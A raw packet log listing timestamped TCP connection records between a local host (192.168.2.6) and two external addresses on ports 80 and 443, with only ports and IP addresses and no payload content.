Nov 1, 2024 00:38:57.485269070 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.490098953 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.490133047 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.490191936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.490197897 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.490221024 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.490245104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.490266085 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.557717085 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.557777882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.557815075 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.557848930 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.557857990 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.557884932 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.557904959 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.557919025 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.557931900 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.557954073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.557967901 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.558001041 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599607944 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599627018 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599642992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599661112 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599678040 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599685907 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599709034 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599726915 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599741936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599752903 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599756002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599766016 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599777937 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599802017 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599803925 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599814892 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599831104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599868059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599883080 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599899054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599900961 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599915981 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.599920988 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599930048 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.599956989 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600208044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600227118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600251913 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600259066 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600267887 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600274086 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600282907 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600292921 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600300074 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600311995 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600325108 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600334883 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600347042 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600419044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600425959 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600433111 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600457907 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600466967 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600475073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600490093 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600508928 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600508928 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600522041 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600542068 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600583076 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600599051 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600615025 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600621939 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600651979 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600652933 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600687981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600699902 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600716114 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600733995 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600734949 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600753069 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600763083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600775957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600792885 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600904942 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600925922 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600944042 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600960970 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.600969076 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600976944 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.600979090 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601039886 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601108074 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601222992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601238966 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601253986 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601269007 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601278067 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601284981 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601300001 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601303101 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601315975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601319075 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601331949 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601342916 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601351976 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601371050 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601455927 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601483107 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601497889 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601497889 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601521015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601532936 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601538897 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601540089 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601571083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601571083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601630926 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601690054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601713896 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601728916 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601732016 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601744890 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601759911 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601763964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601785898 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601809978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601927042 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601948977 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601963997 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.601984024 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.601993084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.602006912 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.602031946 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.674705029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.674741030 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.674757957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.674772978 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.674774885 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.674793005 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.674798965 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.674810886 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.674815893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.674818039 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.674834013 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.674892902 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.713953018 CET	443	49978	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:57.714025021 CET	49978	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:57.715691090 CET	49978	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:57.715718031 CET	443	49978	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:57.715960979 CET	443	49978	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:57.716538906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716557980 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716576099 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716583967 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716617107 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716639042 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716670036 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716684103 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716685057 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716708899 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716720104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716753960 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716768980 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716784954 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716794014 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716800928 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716820955 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716851950 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716873884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716890097 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716893911 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716905117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716909885 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716919899 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716922045 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.716941118 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.716960907 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717181921 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717196941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717220068 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717221022 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717236042 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717243910 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717252016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717259884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717267990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717276096 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717284918 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717286110 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717303038 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717310905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717322111 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717325926 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717343092 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717356920 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717360020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717385054 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717408895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717417002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717432022 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717449903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717451096 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717466116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717478991 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717485905 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717504025 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717513084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717546940 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717559099 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717562914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717583895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717593908 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717612028 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717627048 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717642069 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717645884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717653990 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717679977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717742920 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717766047 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717781067 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717787981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717808008 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717834949 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717849970 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717902899 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717943907 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.717978954 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.717993975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718013048 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718031883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718058109 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718061924 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718086958 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718102932 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718127966 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718153000 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718163013 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718223095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718240976 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718260050 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718265057 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718293905 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718293905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718363047 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718400955 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718440056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718452930 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718477964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718492031 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718492985 CET	49978	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:57.718496084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718508005 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718517065 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718559980 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718591928 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718662024 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718696117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718733072 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718749046 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718765020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718770981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718781948 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718797922 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718797922 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718816042 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718821049 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718832016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718848944 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.718854904 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718869925 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.718894958 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.719005108 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.719027996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.719072104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.719082117 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.719085932 CET	49978	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:57.719134092 CET	443	49978	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:57.719187021 CET	49978	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:57.719197989 CET	443	49978	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:57.791735888 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.791757107 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.791779995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.791789055 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.791836977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.791836977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.791883945 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.791899920 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.791915894 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.791933060 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.791982889 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833446026 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833498001 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833523989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833542109 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833565950 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833580971 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833581924 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833599091 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833616972 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833623886 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833633900 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833635092 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833664894 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833672047 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833682060 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833697081 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833703995 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833713055 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833738089 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833751917 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833801985 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833945036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.833961010 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.833975077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834000111 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834001064 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834017992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834032059 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834037066 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834059000 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834063053 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834074020 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834078074 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834095001 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834099054 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834111929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834117889 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834126949 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834146023 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834146023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834187031 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834213972 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834235907 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834256887 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834259987 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834264994 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834274054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834294081 CET	49948	80	192.168.2.6	185.215.113.16
